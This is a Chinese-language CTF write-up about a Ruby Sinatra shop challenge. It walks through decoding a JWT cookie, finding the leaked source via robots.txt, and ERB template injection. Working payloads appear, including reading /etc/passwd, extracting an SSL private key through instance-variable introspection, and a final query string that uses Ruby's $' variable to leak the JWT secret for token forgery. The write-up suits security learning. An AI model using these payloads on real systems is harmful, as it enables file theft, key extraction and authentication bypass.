ruby ERB模板注入以及jwt伪造

ruby ERB模板注入以及jwt伪造

打开页面后,发现有一个buy flag,但是钱不够,所以我们尝试抓包

发现Cookie字段有一个jwt

1
eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJlMWFjYmQ3OC01OTNlLTQ4NzYtOTNhZi00ZWNhYmRkZmYyMDQiLCJqa2wiOjIwfQ.1uVjLWKyyci-TEaw7kxUi9vuGvYDgZ1IF3UuvcIcJtU

打开jwt.io网页,进行解码

HEADER

1
2
3
{
"alg": "HS256"
}

PAYLOAD

1
2
3
4
{
"uid": "e1acbd78-593e-4876-93af-4ecabddff204",
"jkl": 20
}

密钥部分不知道,但是我们可以尝试将PAYLOAD中的jkl改为1000000000000000000000000000,来伪造价格,但是密钥不知道,这里爆破的话有点麻烦,但是我们通过目录的扫描,发现robots.txt文件

1
2
User-agent: *
Disallow: /filebak

所以访问/filebak,得到ruby语言的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end

get "/" do
redirect '/shop', 302
end

get "/filebak" do
content_type :text
erb IO.binread __FILE__
end

get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
erb :shop
end

get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end
end

post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

if auth[0]["jkl"] < FLAGPRICE then

json({title: "error",message: "no enough jkl"})
else

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end


def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end

我们可以查看jwt加密和解密那部分代码

加密

1
2
3
4
5
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end

看代码可知,jwt密钥部分是用HS256加密的,口令为ENV[“SECRET”],所以我们需要想办法知道ENV[“SECRET”],所以我们可以查看解密的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end

我们可以从

1
<script>alert('#{params[:name][0,7]} working successfully!')</script>

中的alert()函数,判断它可能是Ruby ERB模板注入

Ruby ERB模板注入

对与Ruby ERB模板注入来说,<%=是用来执行ruby语句的,会将结果转换为字符串,所以我们可以尝试

1
<%=7*7%>

来查看它是否存在ruby erb模板注入,如果存在的话,我们可以使用自带的全局函数来测试是否执行函数

1
<%=File.open('/etc/passwd').read %>

如果不可以成功的话,可能是因为Ruby的ERB模板引擎包含一个安全级别参数,当安全级别设置为0以上的某个值(如:3)时,我们将无法在模板绑定中执行包括文件操作在内的某些函数,如果设置为4,则只可以执行标记为可信状态的那些代码,所以此时我们可以尝试枚举该对象的可用属性以及方法

1
<%=self %>

然后可以尝试获取self对象的类名

1
<%=self.class.name %>

得到类名后,我们可以尝试枚举类的可用方法

1
<%= self.methods %>

我们可以将数据传递给这些函数,以达到未授权访问的目的,虽然我们不清楚使用的web框架,但是我们要向服务器发送HTTP POST请求,所以我们可以使用handlePOST或doPOST函数内部,来借此访问某些局部变量

1
<%=self.method(:handle_POST).parameters %>

我们可以看见3个req参数,该参数可能代表的是某个请求对象,rsp参数可能代表的是响应数据的引用,最后session参数可能是某个id或某个对象,所以我们可以查看session对象的具体含义

1
<%=session.class.name %>

我们可以看见WEBrick是Ruby在标准库中实现的原生web服务器,我们还可以探索其它有用的信息

我们可以使用某些内省方法来确认我们是否可以访问这些变量以及其它可用变量

1
<%=self.instance_variables %>

当WEBrick被实例化以处理客户端请求时,它会将某个http服务器实例传递给servlet,这很有可能是@server这个实例变量,所以我们可以调用.instance_variables方法来观察这个对象包含哪些成员变量

1
<%=@server.instance_variables %>

我们可以看见@ssl_context变量,这个变量可能会包含某些密钥或其它有用信息,所以我们可以改变一下语法来创建自己的局部变量,保存@sll_context的引用,使载荷可读性更好

1
<% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>

此时我们可以看见有@key,所以我们可以提取出这个变量的值

1
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>

回到题目本身,我们可以构造

1
?name=<%=7*7 %>&do=<%=7*7 %>%20is%20working

进行测试,发现不可以执行,猜测是因为安全等级的原因,但是可以查看预定义变量,由于前面有进行匹配的操作,且进行匹配的代码是

1
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")

所以我们可以使用$’预定义变量来进行模板注入,从而读取ENV[“SCERET”]的值,而首先进行的匹配是

1
#{params[:SECRET].match(/[0-9a-z]+/)}

所以然后再用匹配后的值再进行匹配,所以SECRET参数的值最好为空,所以可以构造

1
?name=<%=$'%>&do=<%=$'%>%20is%20working&$SECRET=

来读取ENV[“SECRET”]的值,然后用来伪造jwt,即可获得flag

参考文章:[https://www.anquanke.com/post/id/86867]

[https://www.wangan.com/docs/255]

[https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html]

[https://www.jianshu.com/p/4f316191f595]